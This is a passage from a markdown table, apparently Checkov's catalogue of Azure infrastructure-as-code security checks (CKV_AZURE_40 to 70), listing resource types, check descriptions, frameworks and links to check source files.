[KeyExpirationDate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyExpirationDate.py)                                                                                                       |\n| 5657 | CKV_AZURE_40             | resource                         | Microsoft.KeyVault/vaults/keys                                                                   | Ensure that the expiration date is set on all keys                                                                                                                                                       | Bicep                   | [KeyExpirationDate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyExpirationDate.py)                                                                                                       |\n| 5658 | CKV_AZURE_40             | resource                         | azurerm_key_vault_key                                                                            | Ensure that the expiration date is set on all keys                                                                                                                                                       | Terraform               | [KeyExpirationDate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/KeyExpirationDate.py)                                                                                           |\n| 5659 | CKV_AZURE_41             | resource                         | Microsoft.KeyVault/vaults/secrets                                                                | Ensure that the expiration date is set on all secrets                                                                                                                                                    | arm                     | [SecretExpirationDate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecretExpirationDate.py)                                                                                                 |\n| 5660 | CKV_AZURE_41             | resource                         | Microsoft.KeyVault/vaults/secrets                                                                | Ensure that the expiration date is set on all secrets                                                                                                                                                    | Bicep                   | [SecretExpirationDate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecretExpirationDate.py)                                                                                                 |\n| 5661 | CKV_AZURE_41             | resource                         | azurerm_key_vault_secret                                                                         | Ensure that the expiration date is set on all secrets                                                                                                                                                    | Terraform               | [SecretExpirationDate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SecretExpirationDate.py)                                                                                     |\n| 5662 | CKV_AZURE_42             | resource                         | Microsoft.KeyVault/vaults                                                                        | Ensure the key vault is recoverable                                                                                                                                                                      | arm                     | [KeyvaultRecoveryEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyvaultRecoveryEnabled.py)                                                                                           |\n| 5663 | CKV_AZURE_42             | resource                         | Microsoft.KeyVault/vaults                                                                        | Ensure the key vault is recoverable                                                                                                                                                                      | Bicep                   | [KeyvaultRecoveryEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyvaultRecoveryEnabled.py)                                                                                           |\n| 5664 | CKV_AZURE_42             | resource                         | azurerm_key_vault                                                                                | Ensure the key vault is recoverable                                                                                                                                                                      | Terraform               | [KeyvaultRecoveryEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/KeyvaultRecoveryEnabled.py)                                                                               |\n| 5665 | CKV_AZURE_43             | resource                         | Microsoft.Storage/storageAccounts                                                                | Ensure Storage Accounts adhere to the naming rules                                                                                                                                                       | arm                     | [StorageAccountName.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountName.py)                                                                                                     |\n| 5666 | CKV_AZURE_43             | resource                         | Microsoft.Storage/storageAccounts                                                                | Ensure Storage Accounts adhere to the naming rules                                                                                                                                                       | Bicep                   | [StorageAccountName.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountName.py)                                                                                                     |\n| 5667 | CKV_AZURE_43             | resource                         | azurerm_storage_account                                                                          | Ensure Storage Accounts adhere to the naming rules                                                                                                                                                       | Terraform               | [StorageAccountName.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountName.py)                                                                                         |\n| 5668 | CKV_AZURE_44             | resource                         | Microsoft.Storage/storageAccounts                                                                | Ensure Storage Account is using the latest version of TLS encryption                                                                                                                                     | arm                     | [StorageAccountMinimumTlsVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountMinimumTlsVersion.py)                                                                           |\n| 5669 | CKV_AZURE_44             | resource                         | Microsoft.Storage/storageAccounts                                                                | Ensure Storage Account is using the latest version of TLS encryption                                                                                                                                     | Bicep                   | [StorageAccountMinimumTlsVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountMinimumTlsVersion.py)                                                                           |\n| 5670 | CKV_AZURE_44             | resource                         | azurerm_storage_account                                                                          | Ensure Storage Account is using the latest version of TLS encryption                                                                                                                                     | Terraform               | [StorageAccountMinimumTlsVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountMinimumTlsVersion.py)                                                               |\n| 5671 | CKV_AZURE_45             | resource                         | Microsoft.Compute/virtualMachines                                                                | Ensure that no sensitive credentials are exposed in VM custom_data                                                                                                                                       | arm                     | [VMCredsInCustomData.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMCredsInCustomData.py)                                                                                                   |\n| 5672 | CKV_AZURE_45             | resource                         | Microsoft.Compute/virtualMachines                                                                | Ensure that no sensitive credentials are exposed in VM custom_data                                                                                                                                       | Bicep                   | [VMCredsInCustomData.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMCredsInCustomData.py)                                                                                                   |\n| 5673 | CKV_AZURE_45             | resource                         | azurerm_virtual_machine                                                                          | Ensure that no sensitive credentials are exposed in VM custom_data                                                                                                                                       | Terraform               | [VMCredsInCustomData.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMCredsInCustomData.py)                                                                                       |\n| 5674 | CKV_AZURE_47             | resource                         | Microsoft.DBforMariaDB/servers                                                                   | Ensure 'Enforce SSL connection' is set to 'ENABLED' for MariaDB servers                                                                                                                                  | arm                     | [MariaDBSSLEnforcementEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MariaDBSSLEnforcementEnabled.py)                                                                                 |\n| 5675 | CKV_AZURE_47             | resource                         | Microsoft.DBforMariaDB/servers                                                                   | Ensure 'Enforce SSL connection' is set to 'ENABLED' for MariaDB servers                                                                                                                                  | Bicep                   | [MariaDBSSLEnforcementEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MariaDBSSLEnforcementEnabled.py)                                                                                 |\n| 5676 | CKV_AZURE_47             | resource                         | azurerm_mariadb_server                                                                           | Ensure 'Enforce SSL connection' is set to 'ENABLED' for MariaDB servers                                                                                                                                  | Terraform               | [MariaDBSSLEnforcementEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MariaDBSSLEnforcementEnabled.py)                                                                     |\n| 5677 | CKV_AZURE_48             | resource                         | Microsoft.DBforMariaDB/servers                                                                   | Ensure 'public network access enabled' is set to 'False' for MariaDB servers                                                                                                                             | arm                     | [MariaDBPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MariaDBPublicAccessDisabled.py)                                                                                   |\n| 5678 | CKV_AZURE_48             | resource                         | Microsoft.DBforMariaDB/servers                                                                   | Ensure 'public network access enabled' is set to 'False' for MariaDB servers                                                                                                                             | Bicep                   | [MariaDBPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MariaDBPublicAccessDisabled.py)                                                                                   |\n| 5679 | CKV_AZURE_48             | resource                         | azurerm_mariadb_server                                                                           | Ensure 'public network access enabled' is set to 'False' for MariaDB servers                                                                                                                             | Terraform               | [MariaDBPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MariaDBPublicAccessDisabled.py)                                                                       |\n| 5680 | CKV_AZURE_49             | resource                         | Microsoft.Compute/virtualMachineScaleSets                                                        | Ensure Azure linux scale set does not use basic authentication(Use SSH Key Instead)                                                                                                                      | arm                     | [AzureScaleSetPassword.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureScaleSetPassword.py)                                                                                               |\n| 5681 | CKV_AZURE_49             | resource                         | Microsoft.Compute/virtualMachineScaleSets                                                        | Ensure Azure linux scale set does not use basic authentication(Use SSH Key Instead)                                                                                                                      | Bicep                   | [AzureScaleSetPassword.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureScaleSetPassword.py)                                                                                               |\n| 5682 | CKV_AZURE_49             | resource                         | azurerm_linux_virtual_machine_scale_set                                                          | Ensure Azure linux scale set does not use basic authentication(Use SSH Key Instead)                                                                                                                      | Terraform               | [AzureScaleSetPassword.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureScaleSetPassword.py)                                                                                   |\n| 5683 | CKV_AZURE_50             | resource                         | Microsoft.Compute/virtualMachines                                                                | Ensure Virtual Machine Extensions are not Installed                                                                                                                                                      | arm                     | [AzureInstanceExtensions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureInstanceExtensions.py)                                                                                           |\n| 5684 | CKV_AZURE_50             | resource                         | Microsoft.Compute/virtualMachines                                                                | Ensure Virtual Machine Extensions are not Installed                                                                                                                                                      | Bicep                   | [AzureInstanceExtensions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureInstanceExtensions.py)                                                                                           |\n| 5685 | CKV_AZURE_50             | resource                         | azurerm_linux_virtual_machine                                                                    | Ensure Virtual Machine Extensions are not Installed                                                                                                                                                      | Terraform               | [AzureInstanceExtensions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureInstanceExtensions.py)                                                                               |\n| 5686 | CKV_AZURE_50             | resource                         | azurerm_windows_virtual_machine                                                                  | Ensure Virtual Machine Extensions are not Installed                                                                                                                                                      | Terraform               | [AzureInstanceExtensions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureInstanceExtensions.py)                                                                               |\n| 5687 | CKV_AZURE_52             | resource                         | Microsoft.Sql/servers                                                                            | Ensure MSSQL is using the latest version of TLS encryption                                                                                                                                               | arm                     | [MSSQLServerMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MSSQLServerMinTLSVersion.py)                                                                                         |\n| 5688 | CKV_AZURE_52             | resource                         | Microsoft.Sql/servers                                                                            | Ensure MSSQL is using the latest version of TLS encryption                                                                                                                                               | Bicep                   | [MSSQLServerMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MSSQLServerMinTLSVersion.py)                                                                                         |\n| 5689 | CKV_AZURE_52             | resource                         | azurerm_mssql_server                                                                             | Ensure MSSQL is using the latest version of TLS encryption                                                                                                                                               | Terraform               | [MSSQLServerMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MSSQLServerMinTLSVersion.py)                                                                             |\n| 5690 | CKV_AZURE_53             | resource                         | Microsoft.DBforMySQL/flexibleServers                                                             | Ensure 'public network access enabled' is set to 'False' for mySQL servers                                                                                                                               | arm                     | [MySQLPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLPublicAccessDisabled.py)                                                                                       |\n| 5691 | CKV_AZURE_53             | resource                         | Microsoft.DBforMySQL/flexibleServers                                                             | Ensure 'public network access enabled' is set to 'False' for mySQL servers                                                                                                                               | Bicep                   | [MySQLPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLPublicAccessDisabled.py)                                                                                       |\n| 5692 | CKV_AZURE_53             | resource                         | Microsoft.DBforMySQL/servers                                                                     | Ensure 'public network access enabled' is set to 'False' for mySQL servers                                                                                                                               | arm                     | [MySQLPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLPublicAccessDisabled.py)                                                                                       |\n| 5693 | CKV_AZURE_53             | resource                         | Microsoft.DBforMySQL/servers                                                                     | Ensure 'public network access enabled' is set to 'False' for mySQL servers                                                                                                                               | Bicep                   | [MySQLPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLPublicAccessDisabled.py)                                                                                       |\n| 5694 | CKV_AZURE_53             | resource                         | azurerm_mysql_server                                                                             | Ensure 'public network access enabled' is set to 'False' for mySQL servers                                                                                                                               | Terraform               | [MySQLPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MySQLPublicAccessDisabled.py)                                                                           |\n| 5695 | CKV_AZURE_54             | resource                         | Microsoft.DBforMySQL/servers                                                                     | Ensure MySQL is using the latest version of TLS encryption                                                                                                                                               | arm                     | [MySQLServerMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLServerMinTLSVersion.py)                                                                                         |\n| 5696 | CKV_AZURE_54             | resource                         | Microsoft.DBforMySQL/servers                                                                     | Ensure MySQL is using the latest version of TLS encryption                                                                                                                                               | Bicep                   | [MySQLServerMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLServerMinTLSVersion.py)                                                                                         |\n| 5697 | CKV_AZURE_54             | resource                         | azurerm_mysql_server                                                                             | Ensure MySQL is using the latest version of TLS encryption                                                                                                                                               | Terraform               | [MySQLServerMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MySQLServerMinTLSVersion.py)                                                                             |\n| 5698 | CKV_AZURE_55             | resource                         | azurerm_security_center_subscription_pricing                                                     | Ensure that Azure Defender is set to On for Servers                                                                                                                                                      | Terraform               | [AzureDefenderOnServers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDefenderOnServers.py)                                                                                 |\n| 5699 | CKV_AZURE_56             | resource                         | Microsoft.Web/sites/config                                                                       | Ensure that function apps enables Authentication                                                                                                                                                         | arm                     | [FunctionAppsEnableAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppsEnableAuthentication.py)                                                                         |\n| 5700 | CKV_AZURE_56             | resource                         | Microsoft.Web/sites/config                                                                       | Ensure that function apps enables Authentication                                                                                                                                                         | Bicep                   | [FunctionAppsEnableAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppsEnableAuthentication.py)                                                                         |\n| 5701 | CKV_AZURE_56             | resource                         | azurerm_function_app                                                                             | Ensure that function apps enables Authentication                                                                                                                                                         | Terraform               | [FunctionAppsEnableAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppsEnableAuthentication.py)                                                             |\n| 5702 | CKV_AZURE_57             | resource                         | Microsoft.Web/sites                                                                              | Ensure that CORS disallows every resource to access app services                                                                                                                                         | arm                     | [AppServiceDisallowCORS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceDisallowCORS.py)                                                                                             |\n| 5703 | CKV_AZURE_57             | resource                         | Microsoft.Web/sites                                                                              | Ensure that CORS disallows every resource to access app services                                                                                                                                         | Bicep                   | [AppServiceDisallowCORS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceDisallowCORS.py)                                                                                             |\n| 5704 | CKV_AZURE_57             | resource                         | azurerm_app_service                                                                              | Ensure that CORS disallows every resource to access app services                                                                                                                                         | Terraform               | [AppServiceDisallowCORS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceDisallowCORS.py)                                                                                 |\n| 5705 | CKV_AZURE_57             | resource                         | azurerm_linux_web_app                                                                            | Ensure that CORS disallows every resource to access app services                                                                                                                                         | Terraform               | [AppServiceDisallowCORS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceDisallowCORS.py)                                                                                 |\n| 5706 | CKV_AZURE_57             | resource                         | azurerm_windows_web_app                                                                          | Ensure that CORS disallows every resource to access app services                                                                                                                                         | Terraform               | [AppServiceDisallowCORS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceDisallowCORS.py)                                                                                 |\n| 5707 | CKV_AZURE_58             | resource                         | Microsoft.Synapse/workspaces                                                                     | Ensure that Azure Synapse workspaces enables managed virtual networks                                                                                                                                    | arm                     | [SynapseWorkspaceEnablesManagedVirtualNetworks.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SynapseWorkspaceEnablesManagedVirtualNetworks.py)                                               |\n| 5708 | CKV_AZURE_58             | resource                         | Microsoft.Synapse/workspaces                                                                     | Ensure that Azure Synapse workspaces enables managed virtual networks                                                                                                                                    | Bicep                   | [SynapseWorkspaceEnablesManagedVirtualNetworks.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SynapseWorkspaceEnablesManagedVirtualNetworks.py)                                               |\n| 5709 | CKV_AZURE_58             | resource                         | azurerm_synapse_workspace                                                                        | Ensure that Azure Synapse workspaces enables managed virtual networks                                                                                                                                    | Terraform               | [SynapseWorkspaceEnablesManagedVirtualNetworks.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SynapseWorkspaceEnablesManagedVirtualNetworks.py)                                   |\n| 5710 | CKV_AZURE_59             | resource                         | Microsoft.Storage/storageAccounts                                                                | Ensure that Storage accounts disallow public access                                                                                                                                                      | arm                     | [StorageAccountDisablePublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountDisablePublicAccess.py)                                                                       |\n| 5711 | CKV_AZURE_59             | resource                         | Microsoft.Storage/storageAccounts                                                                | Ensure that Storage accounts disallow public access                                                                                                                                                      | Bicep                   | [StorageAccountDisablePublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountDisablePublicAccess.py)                                                                       |\n| 5712 | CKV_AZURE_59             | resource                         | azurerm_storage_account                                                                          | Ensure that Storage accounts disallow public access                                                                                                                                                      | Terraform               | [StorageAccountDisablePublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountDisablePublicAccess.py)                                                           |\n| 5713 | CKV_AZURE_61             | resource                         | azurerm_security_center_subscription_pricing                                                     | Ensure that Azure Defender is set to On for App Service                                                                                                                                                  | Terraform               | [AzureDefenderOnAppServices.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDefenderOnAppServices.py)                                                                         |\n| 5714 | CKV_AZURE_62             | resource                         | Microsoft.Web/sites                                                                              | Ensure function apps are not accessible from all regions                                                                                                                                                 | arm                     | [FunctionAppDisallowCORS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppDisallowCORS.py)                                                                                           |\n| 5715 | CKV_AZURE_62             | resource                         | Microsoft.Web/sites                                                                              | Ensure function apps are not accessible from all regions                                                                                                                                                 | Bicep                   | [FunctionAppDisallowCORS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppDisallowCORS.py)                                                                                           |\n| 5716 | CKV_AZURE_62             | resource                         | azurerm_function_app                                                                             | Ensure function apps are not accessible from all regions                                                                                                                                                 | Terraform               | [FunctionAppDisallowCORS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppDisallowCORS.py)                                                                               |\n| 5717 | CKV_AZURE_63             | resource                         | Microsoft.Web/sites/config                                                                       | Ensure that App service enables HTTP logging                                                                                                                                                             | arm                     | [AppServiceHttpLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceHttpLoggingEnabled.py)                                                                                 |\n| 5718 | CKV_AZURE_63             | resource                         | Microsoft.Web/sites/config                                                                       | Ensure that App service enables HTTP logging                                                                                                                                                             | Bicep                   | [AppServiceHttpLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceHttpLoggingEnabled.py)                                                                                 |\n| 5719 | CKV_AZURE_63             | resource                         | azurerm_app_service                                                                              | Ensure that App service enables HTTP logging                                                                                                                                                             | Terraform               | [AppServiceHttpLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceHttpLoggingEnabled.py)                                                                     |\n| 5720 | CKV_AZURE_63             | resource                         | azurerm_linux_web_app                                                                            | Ensure that App service enables HTTP logging                                                                                                                                                             | Terraform               | [AppServiceHttpLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceHttpLoggingEnabled.py)                                                                     |\n| 5721 | CKV_AZURE_63             | resource                         | azurerm_windows_web_app                                                                          | Ensure that App service enables HTTP logging                                                                                                                                                             | Terraform               | [AppServiceHttpLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceHttpLoggingEnabled.py)                                                                     |\n| 5722 | CKV_AZURE_64             | resource                         | Microsoft.StorageSync/storageSyncServices                                                        | Ensure that Azure File Sync disables public network access                                                                                                                                               | arm                     | [StorageSyncPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageSyncPublicAccessDisabled.py)                                                                           |\n| 5723 | CKV_AZURE_64             | resource                         | Microsoft.StorageSync/storageSyncServices                                                        | Ensure that Azure File Sync disables public network access                                                                                                                                               | Bicep                   | [StorageSyncPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageSyncPublicAccessDisabled.py)                                                                           |\n| 5724 | CKV_AZURE_64             | resource                         | azurerm_storage_sync                                                                             | Ensure that Azure File Sync disables public network access                                                                                                                                               | Terraform               | [StorageSyncPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageSyncPublicAccessDisabled.py)                                                               |\n| 5725 | CKV_AZURE_65             | resource                         | Microsoft.Web/sites/config                                                                       | Ensure that App service enables detailed error messages                                                                                                                                                  | arm                     | [AppServiceDetailedErrorMessagesEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceDetailedErrorMessagesEnabled.py)                                                             |\n| 5726 | CKV_AZURE_65             | resource                         | Microsoft.Web/sites/config                                                                       | Ensure that App service enables detailed error messages                                                                                                                                                  | Bicep                   | [AppServiceDetailedErrorMessagesEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceDetailedErrorMessagesEnabled.py)                                                             |\n| 5727 | CKV_AZURE_65             | resource                         | azurerm_app_service                                                                              | Ensure that App service enables detailed error messages                                                                                                                                                  | Terraform               | [AppServiceDetailedErrorMessagesEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceDetailedErrorMessagesEnabled.py)                                                 |\n| 5728 | CKV_AZURE_65             | resource                         | azurerm_linux_web_app                                                                            | Ensure that App service enables detailed error messages                                                                                                                                                  | Terraform               | [AppServiceDetailedErrorMessagesEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceDetailedErrorMessagesEnabled.py)                                                 |\n| 5729 | CKV_AZURE_65             | resource                         | azurerm_windows_web_app                                                                          | Ensure that App service enables detailed error messages                                                                                                                                                  | Terraform               | [AppServiceDetailedErrorMessagesEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceDetailedErrorMessagesEnabled.py)                                                 |\n| 5730 | CKV_AZURE_66             | resource                         | Microsoft.Web/sites/config                                                                       | Ensure that App service enables failed request tracing                                                                                                                                                   | arm                     | [AppServiceEnableFailedRequest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceEnableFailedRequest.py)                                                                               |\n| 5731 | CKV_AZURE_66             | resource                         | Microsoft.Web/sites/config                                                                       | Ensure that App service enables failed request tracing                                                                                                                                                   | Bicep                   | [AppServiceEnableFailedRequest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceEnableFailedRequest.py)                                                                               |\n| 5732 | CKV_AZURE_66             | resource                         | azurerm_app_service                                                                              | Ensure that App service enables failed request tracing                                                                                                                                                   | Terraform               | [AppServiceEnableFailedRequest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceEnableFailedRequest.py)                                                                   |\n| 5733 | CKV_AZURE_66             | resource                         | azurerm_linux_web_app                                                                            | Ensure that App service enables failed request tracing                                                                                                                                                   | Terraform               | [AppServiceEnableFailedRequest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceEnableFailedRequest.py)                                                                   |\n| 5734 | CKV_AZURE_66             | resource                         | azurerm_windows_web_app                                                                          | Ensure that App service enables failed request tracing                                                                                                                                                   | Terraform               | [AppServiceEnableFailedRequest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceEnableFailedRequest.py)                                                                   |\n| 5735 | CKV_AZURE_67             | resource                         | Microsoft.Web/sites                                                                              | Ensure that 'HTTP Version' is the latest, if used to run the Function app                                                                                                                                | arm                     | [FunctionAppHttpVersionLatest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppHttpVersionLatest.py)                                                                                 |\n| 5736 | CKV_AZURE_67             | resource                         | Microsoft.Web/sites                                                                              | Ensure that 'HTTP Version' is the latest, if used to run the Function app                                                                                                                                | Bicep                   | [FunctionAppHttpVersionLatest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppHttpVersionLatest.py)                                                                                 |\n| 5737 | CKV_AZURE_67             | resource                         | Microsoft.Web/sites/slots                                                                        | Ensure that 'HTTP Version' is the latest, if used to run the Function app                                                                                                                                | arm                     | [FunctionAppHttpVersionLatest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppHttpVersionLatest.py)                                                                                 |\n| 5738 | CKV_AZURE_67             | resource                         | Microsoft.Web/sites/slots                                                                        | Ensure that 'HTTP Version' is the latest, if used to run the Function app                                                                                                                                | Bicep                   | [FunctionAppHttpVersionLatest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppHttpVersionLatest.py)                                                                                 |\n| 5739 | CKV_AZURE_67             | resource                         | azurerm_function_app                                                                             | Ensure that 'HTTP Version' is the latest, if used to run the Function app                                                                                                                                | Terraform               | [FunctionAppHttpVersionLatest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppHttpVersionLatest.py)                                                                     |\n| 5740 | CKV_AZURE_67             | resource                         | azurerm_function_app_slot                                                                        | Ensure that 'HTTP Version' is the latest, if used to run the Function app                                                                                                                                | Terraform               | [FunctionAppHttpVersionLatest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppHttpVersionLatest.py)                                                                     |\n| 5741 | CKV_AZURE_68             | resource                         | Microsoft.DBforPostgreSQL/servers                                                                | Ensure that PostgreSQL server disables public network access                                                                                                                                             | arm                     | [PostgreSQLServerPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerPublicAccessDisabled.py)                                                                 |\n| 5742 | CKV_AZURE_68             | resource                         | Microsoft.DBforPostgreSQL/servers                                                                | Ensure that PostgreSQL server disables public network access                                                                                                                                             | Bicep                   | [PostgreSQLServerPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerPublicAccessDisabled.py)                                                                 |\n| 5743 | CKV_AZURE_68             | resource                         | azurerm_postgresql_server                                                                        | Ensure that PostgreSQL server disables public network access                                                                                                                                             | Terraform               | [PostgreSQLServerPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgreSQLServerPublicAccessDisabled.py)                                                     |\n| 5744 | CKV_AZURE_69             | resource                         | azurerm_security_center_subscription_pricing                                                     | Ensure that Azure Defender is set to On for Azure SQL database servers                                                                                                                                   | Terraform               | [AzureDefenderOnSqlServers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDefenderOnSqlServers.py)                                                                           |\n| 5745 | CKV_AZURE_70             | resource                         | Microsoft.Web/sites                                                                              | Ensure that Function apps is only accessible over HTTPS                                                                                                                                                  | arm                     | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppsAccessibleOverHttps.py)                                                                           |\n| 5746 | CKV_AZURE_70             | resource                         | Microsoft.Web/sites                                                                              | Ensure that Function apps is only accessible over HTTPS                                                                                                                                                  | Bicep                   | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppsAccessibleOverHttps.py)                                                                           |\n| 5747 | CKV_AZURE_70             | resource                         | Microsoft.Web/sites/config                                                                       | Ensure that Function apps is only accessible over HTTPS                                                                                                                                                  | arm                     | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppsAccessibleOverHttps.py)                                                                           |\n| 5748 | CKV_AZURE_70             | resource                         | Microsoft.Web/sites/config                                                                       | Ensure that Function apps is only accessible over HTTPS                                                                                                                                                  | Bicep                   | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppsAccessibleOverHttps.py)                                                                           |\n| 5749 | CKV_AZURE_70             | resource                         | Microsoft.Web/sites/slots                                                                        | Ensure that Function apps is only accessible over HTTPS                                                                                                                                                  | arm                     | 